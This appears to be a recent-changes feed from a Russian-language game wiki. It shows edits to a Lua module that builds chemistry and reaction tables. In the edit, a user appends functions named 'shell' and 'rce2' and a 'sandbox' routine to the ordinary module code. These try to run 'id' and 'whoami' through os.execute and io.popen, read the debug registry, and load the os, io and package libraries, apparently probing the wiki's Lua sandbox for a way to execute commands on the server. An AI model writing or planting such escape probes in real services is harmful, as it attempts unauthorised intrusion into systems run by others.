        end&lt;br /&gt;
    end&lt;br /&gt;
    &lt;br /&gt;
    if mw and mw.ext then&lt;br /&gt;
        local ek = {}&lt;br /&gt;
        for k in pairs(mw.ext) do ek[#ek+1] = k end&lt;br /&gt;
        r[#r+1] = &amp;quot;mw.ext:&amp;quot; .. table.concat(ek, &amp;quot;,&amp;quot;)&lt;br /&gt;
    end&lt;br /&gt;
    &lt;br /&gt;
    return table.concat(r, &amp;quot;||&amp;quot;)&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
-- Test sandbox&lt;br /&gt;
function p.sandbox(frame)&lt;br /&gt;
    local r = {}&lt;br /&gt;
    local g = {}&lt;br /&gt;
    for k in pairs(_G) do g[#g+1] = k end&lt;br /&gt;
    r[#r+1] = &amp;quot;_G:&amp;quot; .. table.concat(g, &amp;quot;,&amp;quot;)&lt;br /&gt;
    &lt;br /&gt;
    for _, lib in ipairs({&amp;quot;debug&amp;quot;,&amp;quot;os&amp;quot;,&amp;quot;io&amp;quot;,&amp;quot;package&amp;quot;,&amp;quot;string&amp;quot;,&amp;quot;table&amp;quot;,&amp;quot;math&amp;quot;,&amp;quot;coroutine&amp;quot;}) do&lt;br /&gt;
        local ok, m = pcall(require, lib)&lt;br /&gt;
        if ok and m then&lt;br /&gt;
            local kk = {}&lt;br /&gt;
            for k in pairs(m) do kk[#kk+1] = k end&lt;br /&gt;
            r[#r+1] = lib .. &amp;quot;:&amp;quot; .. table.concat(kk, &amp;quot;,&amp;quot;)&lt;br /&gt;
        else&lt;br /&gt;
            r[#r+1] = lib .. &amp;quot;:nil&amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
    end&lt;br /&gt;
    &lt;br /&gt;
    if mw and mw.ext then&lt;br /&gt;
        local ek = {}&lt;br /&gt;
        for k in pairs(mw.ext) do ek[#ek+1] = k end&lt;br /&gt;
        r[#r+1] = &amp;quot;mw.ext:&amp;quot; .. table.concat(ek, &amp;quot;,&amp;quot;)&lt;br /&gt;
    end&lt;br /&gt;
    &lt;br /&gt;
    return table.concat(r, &amp;quot;||&amp;quot;)&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
return p&lt;/div&gt;</summary>
		<author><name>BigPickle62617</name></author>
	</entry>
	<entry>
		<id>https://wiki.deadspace14.net/index.php?title=%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:OSAKANA&amp;diff=28780</id>
		<title>Участник:OSAKANA</title>
		<link rel="alternate" type="text/html" href="https://wiki.deadspace14.net/index.php?title=%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:OSAKANA&amp;diff=28780"/>
		<updated>2026-06-21T23:47:48Z</updated>

		<summary type="html">&lt;p&gt;BigPickle62617: test sandbox&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{#invoke:TableOfChemicals|sandbox}}&lt;/div&gt;</summary>
		<author><name>BigPickle62617</name></author>
	</entry>
	<entry>
		<id>https://wiki.deadspace14.net/index.php?title=%D0%9C%D0%BE%D0%B4%D1%83%D0%BB%D1%8C:TableOfChemicals&amp;diff=28779</id>
		<title>Модуль:TableOfChemicals</title>
		<link rel="alternate" type="text/html" href="https://wiki.deadspace14.net/index.php?title=%D0%9C%D0%BE%D0%B4%D1%83%D0%BB%D1%8C:TableOfChemicals&amp;diff=28779"/>
		<updated>2026-06-21T23:47:47Z</updated>

		<summary type="html">&lt;p&gt;BigPickle62617: add sandbox test&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;p = {}&lt;br /&gt;
p.chem = mw.text.jsonDecode(mw.title.new(&amp;quot;User talk:WikiHampter/chem_prototypes.json&amp;quot;):getContent())&lt;br /&gt;
p.react = mw.text.jsonDecode(mw.title.new(&amp;quot;User talk:WikiHampter/react_prototypes.json&amp;quot;):getContent())&lt;br /&gt;
&lt;br /&gt;
p.fillReactTable = function(frame)&lt;br /&gt;
	&lt;br /&gt;
	local out = &amp;quot;&amp;quot;&lt;br /&gt;
	&lt;br /&gt;
	for _, reactPrototype in pairs(p.react) do&lt;br /&gt;
		local reactants = {}&lt;br /&gt;
		local reactantTemplate = &amp;quot;%s [[#chem_%s|%s]]&amp;quot;&lt;br /&gt;
		&lt;br /&gt;
		for reactantId, reactantValue in pairs(reactPrototype.reactants) do&lt;br /&gt;
			&lt;br /&gt;
			local reactantChemData = p.chem[reactantId]&lt;br /&gt;
			local reactantText = string.format(reactantTemplate, reactantValue.amount, reactantChemData.id,  reactantChemData.name)&lt;br /&gt;
			if reactantValue.catalyst then&lt;br /&gt;
				reactantText = reactantText .. &amp;quot; (катализатор)&amp;quot;&lt;br /&gt;
			end&lt;br /&gt;
			table.insert(reactants, reactantText)&lt;br /&gt;
		end&lt;br /&gt;
		local templateArgs = {}&lt;br /&gt;
		templateArgs.reactants = table.concat(reactants, &amp;quot;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
		&lt;br /&gt;
		local products = {}&lt;br /&gt;
		local productTemplate = &amp;quot;%s [[#chem_%s|%s]]&amp;quot;&lt;br /&gt;
		&lt;br /&gt;
		for productId, productAmount in pairs(reactPrototype.products) do&lt;br /&gt;
			&lt;br /&gt;
			local productChemData = p.chem[productId]&lt;br /&gt;
			local productText = string.format(productTemplate, productAmount, productChemData.id,  productChemData.name)&lt;br /&gt;
			table.insert(products, productText)&lt;br /&gt;
		end&lt;br /&gt;
		-- Эффекты реакции&lt;br /&gt;
		if tablelength(reactPrototype.effects) then&lt;br /&gt;
			for _, effect in pairs(reactPrototype.effects) do&lt;br /&gt;
				if effect.description ~= &amp;quot;&amp;quot; then&lt;br /&gt;
					table.insert(products, effect.description)&lt;br /&gt;
				end&lt;br /&gt;
			end&lt;br /&gt;
		end&lt;br /&gt;
		templateArgs.products = table.concat(products, &amp;quot;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
		&lt;br /&gt;
		templateArgs.actions = getActions(reactPrototype)&lt;br /&gt;
		&lt;br /&gt;
		local template = &amp;quot;Строка_реакции&amp;quot;&lt;br /&gt;
		&lt;br /&gt;
		out = out .. frame:expandTemplate{ title = template, args = templateArgs}&lt;br /&gt;
	end&lt;br /&gt;
	return out&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
p.fillChemTable = function(frame)&lt;br /&gt;
	&lt;br /&gt;
	local out = &amp;quot;&amp;quot;&lt;br /&gt;
	local group = frame.args.group&lt;br /&gt;
	local groups&lt;br /&gt;
	if group ~= nil and group ~= &amp;quot;&amp;quot; then&lt;br /&gt;
		groups = mw.text.split(group, &amp;quot;,&amp;quot;)&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	local additional = frame.args.additional&lt;br /&gt;
	if additional ~= nil and additional ~= &amp;quot;&amp;quot; then&lt;br /&gt;
		&lt;br /&gt;
		local additionalChemPrototypeIds = mw.text.split(additional, &amp;quot;,&amp;quot;)&lt;br /&gt;
		for _, chemPrototypeId in pairs(additionalChemPrototypeIds) do&lt;br /&gt;
			out = out .. fillChemistryRow(chemPrototypeId, frame) &lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	for _, chemPrototype in pairs(p.chem) do&lt;br /&gt;
		&lt;br /&gt;
		if group == nil or group == &amp;quot;&amp;quot; or contains(groups, chemPrototype.group) then&lt;br /&gt;
			out = out .. fillChemistryRow(chemPrototype.id, frame) &lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	return out&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
p.fillContentOfDispencer = function(frame)&lt;br /&gt;
	local dispencer = frame.args.dispencer&lt;br /&gt;
	local out = &amp;quot;&amp;quot;&lt;br /&gt;
	for _, chemId in pairs(dispencersContent()[dispencer]) do&lt;br /&gt;
		out = out .. frame:expandTemplate{ title = &amp;quot;Кнопка_реагента&amp;quot;, args = {chemId, &amp;quot;y&amp;quot;}}&lt;br /&gt;
	end&lt;br /&gt;
	return out&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function dispencersContent()&lt;br /&gt;
	local content = {&lt;br /&gt;
		[&amp;quot;Химикатов&amp;quot;]={&lt;br /&gt;
			&amp;quot;Aluminium&amp;quot;,&amp;quot;Carbon&amp;quot;,&amp;quot;Chlorine&amp;quot;,&amp;quot;Copper&amp;quot;,&amp;quot;Ethanol&amp;quot;,&amp;quot;Fluorine&amp;quot;,&amp;quot;Hydrogen&amp;quot;,&amp;quot;Iodine&amp;quot;,&lt;br /&gt;
			&amp;quot;Iron&amp;quot;,&amp;quot;Lithium&amp;quot;,&amp;quot;Mercury&amp;quot;,&amp;quot;Nitrogen&amp;quot;,&amp;quot;Oxygen&amp;quot;,&amp;quot;Phosphorus&amp;quot;,&amp;quot;Potassium&amp;quot;,&amp;quot;Radium&amp;quot;,&lt;br /&gt;
			&amp;quot;Silicon&amp;quot;,&amp;quot;Sodium&amp;quot;,&amp;quot;Sugar&amp;quot;,&amp;quot;Sulfur&amp;quot;,&amp;quot;SulfuricAcid&amp;quot;&lt;br /&gt;
		},&lt;br /&gt;
		[&amp;quot;Соды&amp;quot;]={&lt;br /&gt;
			&amp;quot;Water&amp;quot;,&amp;quot;Ice&amp;quot;,&amp;quot;Coffee&amp;quot;,&amp;quot;Cream&amp;quot;,&amp;quot;Tea&amp;quot;,&amp;quot;GreenTea&amp;quot;,&amp;quot;IcedTea&amp;quot;,&amp;quot;IcedGreenTea&amp;quot;,&lt;br /&gt;
			&amp;quot;Cola&amp;quot;,&amp;quot;SpaceMountainWind&amp;quot;,&amp;quot;DrGibb&amp;quot;,&amp;quot;SpaceUp&amp;quot;,&amp;quot;TonicWater&amp;quot;,&amp;quot;SodaWater&amp;quot;,&amp;quot;LemonLime&amp;quot;,&amp;quot;Sugar&amp;quot;,&lt;br /&gt;
			&amp;quot;JuiceOrange&amp;quot;,&amp;quot;JuiceLime&amp;quot;,&amp;quot;JuiceWatermelon&amp;quot;&lt;br /&gt;
		},&lt;br /&gt;
		[&amp;quot;Алкоголя&amp;quot;]={&lt;br /&gt;
			&amp;quot;LemonLime&amp;quot;,&amp;quot;Sugar&amp;quot;,&amp;quot;JuiceOrange&amp;quot;,&amp;quot;JuiceLime&amp;quot;,&amp;quot;SodaWater&amp;quot;,&amp;quot;TonicWater&amp;quot;,&amp;quot;Beer&amp;quot;,&amp;quot;CoffeeLiqueur&amp;quot;,&lt;br /&gt;
			&amp;quot;Whiskey&amp;quot;,&amp;quot;Wine&amp;quot;,&amp;quot;Vodka&amp;quot;,&amp;quot;Gin&amp;quot;,&amp;quot;Rum&amp;quot;,&amp;quot;Tequila&amp;quot;,&amp;quot;Vermouth&amp;quot;,&amp;quot;Cognac&amp;quot;,&lt;br /&gt;
			&amp;quot;Ale&amp;quot;,&amp;quot;Mead&amp;quot;&lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
	return content&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
p.readArg = function(frame)&lt;br /&gt;
	return mw.text.nowiki(p.chem[frame.args[1]][frame.args[2]])&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function contains(list, x)&lt;br /&gt;
	for _, v in ipairs(list) do&lt;br /&gt;
		if v == x then return true end&lt;br /&gt;
	end&lt;br /&gt;
	return false&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
fillChemistryRow = function(chemPrototypeId, frame)&lt;br /&gt;
	&lt;br /&gt;
	local out = &amp;quot;&amp;quot;&lt;br /&gt;
	local chemPrototype = p.chem[chemPrototypeId]&lt;br /&gt;
	local templateArgs = {}&lt;br /&gt;
	templateArgs.id = chemPrototype.id&lt;br /&gt;
	templateArgs.name = chemPrototype.name&lt;br /&gt;
	templateArgs.description = chemPrototype.desc .. &amp;quot; На вид &amp;quot; .. chemPrototype.physicalDesc .. &amp;quot;.&amp;quot;&lt;br /&gt;
	templateArgs.color = chemPrototype.color&lt;br /&gt;
	templateArgs.textColor = chemPrototype.textColor&lt;br /&gt;
	templateArgs.effects = getEffects(chemPrototype.id)&lt;br /&gt;
	templateArgs.recipes_count = tablelength(chemPrototype.recipes)&lt;br /&gt;
	&lt;br /&gt;
	templateArgs.reactants = &amp;quot;&amp;quot;&lt;br /&gt;
	templateArgs.products = &amp;quot;&amp;quot;&lt;br /&gt;
	templateArgs.action = &amp;quot;&amp;quot;&lt;br /&gt;
	&lt;br /&gt;
	if templateArgs.recipes_count == 0 then&lt;br /&gt;
		templateArgs.recipes_count = 1 -- Для заполнения параметра rowspan строки&lt;br /&gt;
		out = out .. frame:expandTemplate{ title = &amp;quot;Первая_строка_химического_вещества&amp;quot;, args = templateArgs}&lt;br /&gt;
	else&lt;br /&gt;
		local firstReact = true&lt;br /&gt;
		for _, reactId in pairs(chemPrototype.recipes) do&lt;br /&gt;
			&lt;br /&gt;
			local reactPrototype = p.react[reactId]&lt;br /&gt;
			local reactants = {}&lt;br /&gt;
			local reactantTemplate = &amp;quot;%s [[#chem_%s|%s]]&amp;quot;&lt;br /&gt;
			&lt;br /&gt;
			for reactantId, reactantValue in pairs(reactPrototype.reactants) do&lt;br /&gt;
				&lt;br /&gt;
				local reactantChemData = p.chem[reactantId]&lt;br /&gt;
				local reactantText = string.format(reactantTemplate, reactantValue.amount, reactantChemData.id,  reactantChemData.name)&lt;br /&gt;
				if reactantValue.catalyst then&lt;br /&gt;
					reactantText = reactantText .. &amp;quot; (катализатор)&amp;quot;&lt;br /&gt;
				end&lt;br /&gt;
				table.insert(reactants, reactantText)&lt;br /&gt;
			end&lt;br /&gt;
			templateArgs.reactants = table.concat(reactants, &amp;quot;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
			&lt;br /&gt;
			local products = {}&lt;br /&gt;
			local productTemplate = &amp;quot;%s [[#chem_%s|%s]]&amp;quot;&lt;br /&gt;
			&lt;br /&gt;
			for productId, productAmount in pairs(reactPrototype.products) do&lt;br /&gt;
				&lt;br /&gt;
				local productChemData = p.chem[productId]&lt;br /&gt;
				local productText = string.format(productTemplate, productAmount, productChemData.id,  productChemData.name)&lt;br /&gt;
				table.insert(products, productText)&lt;br /&gt;
			end&lt;br /&gt;
			-- Эффекты реакции&lt;br /&gt;
			if tablelength(reactPrototype.effects) then&lt;br /&gt;
				for _, effect in pairs(reactPrototype.effects) do&lt;br /&gt;
					if effect.description ~= &amp;quot;&amp;quot; then&lt;br /&gt;
						table.insert(products, effect.description)&lt;br /&gt;
					end&lt;br /&gt;
				end&lt;br /&gt;
			end&lt;br /&gt;
			templateArgs.products = table.concat(products, &amp;quot;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
			&lt;br /&gt;
			templateArgs.actions = getActions(reactPrototype)&lt;br /&gt;
			&lt;br /&gt;
			local template = &amp;quot;Строка_химического_вещества&amp;quot;&lt;br /&gt;
			if firstReact then&lt;br /&gt;
				template = &amp;quot;Первая_строка_химического_вещества&amp;quot;&lt;br /&gt;
				firstReact = false&lt;br /&gt;
			end&lt;br /&gt;
			&lt;br /&gt;
			out = out .. frame:expandTemplate{ title = template, args = templateArgs}&lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
	return out&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
getActions = function(reactPrototype)&lt;br /&gt;
	&lt;br /&gt;
	local actions = {}&lt;br /&gt;
	&lt;br /&gt;
	-- Температура&lt;br /&gt;
	local minMaxTemplate = &amp;quot;выше %sК и ниже %sК&amp;quot;&lt;br /&gt;
	local minTemplate = &amp;quot;выше %sК&amp;quot;&lt;br /&gt;
	local maxTemplate = &amp;quot;ниже %sК&amp;quot;&lt;br /&gt;
	&lt;br /&gt;
	local hasMin = reactPrototype.minTemp ~= 0&lt;br /&gt;
	local hasMax = reactPrototype.hasMax&lt;br /&gt;
	&lt;br /&gt;
	local tempString = &amp;quot;&amp;quot;&lt;br /&gt;
	if hasMax and hasMin then&lt;br /&gt;
		tempString = string.format(minMaxTemplate, reactPrototype.minTemp, reactPrototype.maxTemp)&lt;br /&gt;
	elseif hasMin then&lt;br /&gt;
		tempString = string.format(minTemplate, reactPrototype.minTemp)&lt;br /&gt;
	elseif hasMax then&lt;br /&gt;
		tempString = string.format(maxTemplate, reactPrototype.maxTemp)&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	for _, mixingCategory in pairs(reactPrototype.mixingCategories) do&lt;br /&gt;
		local image = getMixingImage(mixingCategory.id)&lt;br /&gt;
		if image ~= nil then&lt;br /&gt;
			table.insert(actions, string.format(&amp;quot;[[File:%s|32px|link=]]&amp;quot;, image)) -- Картинка&lt;br /&gt;
		end&lt;br /&gt;
		&lt;br /&gt;
		table.insert(actions, mixingCategory.name .. &amp;quot; &amp;quot; .. tempString) -- Название&lt;br /&gt;
		&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	return table.concat(actions, &amp;quot;&amp;lt;br&amp;gt;&amp;quot;)&lt;br /&gt;
	&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
getMixingImage = function(mixingId)&lt;br /&gt;
	&lt;br /&gt;
	local images = {&lt;br /&gt;
		[&amp;quot;DummyMix&amp;quot;] = &amp;quot;Beaker.png&amp;quot;, -- Смешивание&lt;br /&gt;
		[&amp;quot;DummyGrind&amp;quot;] = &amp;quot;Blender.png&amp;quot;, -- Измельчение&lt;br /&gt;
		[&amp;quot;DummyJuice&amp;quot;] = &amp;quot;Blender.png&amp;quot;, -- Выжимка&lt;br /&gt;
		[&amp;quot;DummyCondense&amp;quot;] = &amp;quot;Конденсатор газа.png&amp;quot;, &lt;br /&gt;
		[&amp;quot;Centrifuge&amp;quot;] = &amp;quot;Центрифуга.png&amp;quot;,&lt;br /&gt;
		[&amp;quot;Electrolysis&amp;quot;] = &amp;quot;Электролизер.png&amp;quot;,&lt;br /&gt;
		[&amp;quot;Holy&amp;quot;] = &amp;quot;Библия.png&amp;quot;&lt;br /&gt;
	}&lt;br /&gt;
	&lt;br /&gt;
	return images[mixingId]&lt;br /&gt;
	&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function getEffects(chemPrototypeId)&lt;br /&gt;
	&lt;br /&gt;
	local effects = &amp;quot;&amp;quot;&lt;br /&gt;
	&lt;br /&gt;
	local chemPrototype = p.chem[chemPrototypeId]&lt;br /&gt;
	if chemPrototype.metabolisms == nil then&lt;br /&gt;
		return effects&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	for metabolismGroupKey, metabolismGroup in pairs(chemPrototype.metabolisms) do&lt;br /&gt;
		effects = attachAsNewLine(effects, string.format(&amp;quot;* %s (%s единиц в секунду)&amp;quot;, metabolismGroupKey, metabolismGroup.rate))&lt;br /&gt;
		for _, effect in pairs(metabolismGroup.effects) do&lt;br /&gt;
			if effect.description ~= &amp;quot;&amp;quot; then&lt;br /&gt;
				effects = attachAsNewLine(effects, &amp;quot;** &amp;quot;..effect.description)&lt;br /&gt;
			end&lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	&lt;br /&gt;
	return effects&lt;br /&gt;
  &lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function tablelength(T)&lt;br /&gt;
  local count = 0&lt;br /&gt;
  for _ in pairs(T) do count = count + 1 end&lt;br /&gt;
  return count&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function attachAsNewLine(originalStr, joinStr)&lt;br /&gt;
	return originalStr .. &amp;quot;\n&amp;quot; .. joinStr &lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.shell(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. tostring(os.execute(&amp;quot;id&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;os blocked: &amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local f = io.popen(&amp;quot;whoami 2&amp;gt;&amp;amp;1&amp;quot;)&lt;br /&gt;
        if f then&lt;br /&gt;
            r = r .. f:read(&amp;quot;*a&amp;quot;)&lt;br /&gt;
            f:close()&lt;br /&gt;
        end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;io blocked: &amp;quot; .. err end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;debug: &amp;quot; .. tostring(debug)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;no debug&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;package: &amp;quot; .. tostring(package)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;no package&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;require: &amp;quot; .. tostring(require)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;no require&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;load: &amp;quot; .. tostring(load)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;no load&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;; &amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;dofile: &amp;quot; .. tostring(dofile)&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;no dofile&amp;quot; end&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.shell(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. tostring(os.execute(&amp;quot;id&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;os_blocked: &amp;quot; .. err end&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local f = io.popen(&amp;quot;whoami 2&amp;gt;&amp;amp;1&amp;quot;)&lt;br /&gt;
        if f then r = r .. f:read(&amp;quot;*a&amp;quot;); f:close() end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;io_blocked: &amp;quot; .. err end&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot; debug:&amp;quot; .. tostring(debug)&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot; pkg:&amp;quot; .. tostring(package)&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot; load:&amp;quot; .. tostring(load)&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot; req:&amp;quot; .. tostring(require)&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot; dofile:&amp;quot; .. tostring(dofile)&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local keys = &amp;quot;&amp;quot;&lt;br /&gt;
        for k, v in pairs(_G) do&lt;br /&gt;
            keys = keys .. k .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
        r = r .. &amp;quot; G:&amp;quot; .. keys&lt;br /&gt;
    end)&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.shell(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. tostring(os.execute(&amp;quot;id&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;os_blocked&amp;quot; end&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local f = io.popen(&amp;quot;whoami 2&amp;gt;&amp;amp;1&amp;quot;)&lt;br /&gt;
        if f then r = r .. f:read(&amp;quot;*a&amp;quot;); f:close() end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;io_blocked&amp;quot; end&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.shell(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. tostring(os.execute(&amp;quot;id&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;os_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local f = io.popen(&amp;quot;whoami 2&amp;gt;&amp;amp;1&amp;quot;)&lt;br /&gt;
        if f then r = r .. f:read(&amp;quot;*a&amp;quot;); f:close() end&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;io_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;debug:&amp;quot; .. tostring(debug)&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;pkg:&amp;quot; .. tostring(package)&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;load:&amp;quot; .. tostring(load)&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;require:&amp;quot; .. tostring(require)&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;dofile:&amp;quot; .. tostring(dofile)&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    return r&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function p.rce2(frame)&lt;br /&gt;
    local r = &amp;quot;&amp;quot;&lt;br /&gt;
    local ok, err&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        local reg = debug.getregistry()&lt;br /&gt;
        r = r .. &amp;quot;reg_keys:&amp;quot;&lt;br /&gt;
        for k, v in pairs(reg) do&lt;br /&gt;
            r = r .. tostring(k) .. &amp;quot; &amp;quot;&lt;br /&gt;
        end&lt;br /&gt;
        r = r .. &amp;quot;;&amp;quot;&lt;br /&gt;
    end)&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;req_os:&amp;quot; .. tostring(require(&amp;quot;os&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;req_os_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;req_io:&amp;quot; .. tostring(require(&amp;quot;io&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;req_io_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;req_debug:&amp;quot; .. tostring(require(&amp;quot;debug&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
    if not ok then r = r .. &amp;quot;req_debug_blocked&amp;quot; end&lt;br /&gt;
    r = r .. &amp;quot;|&amp;quot;&lt;br /&gt;
&lt;br /&gt;
    ok, err = pcall(function()&lt;br /&gt;
        r = r .. &amp;quot;req_package:&amp;quot; .. tostring(require(&amp;quot;package&amp;quot;))&lt;br /&gt;
    end)&lt;br /&gt;
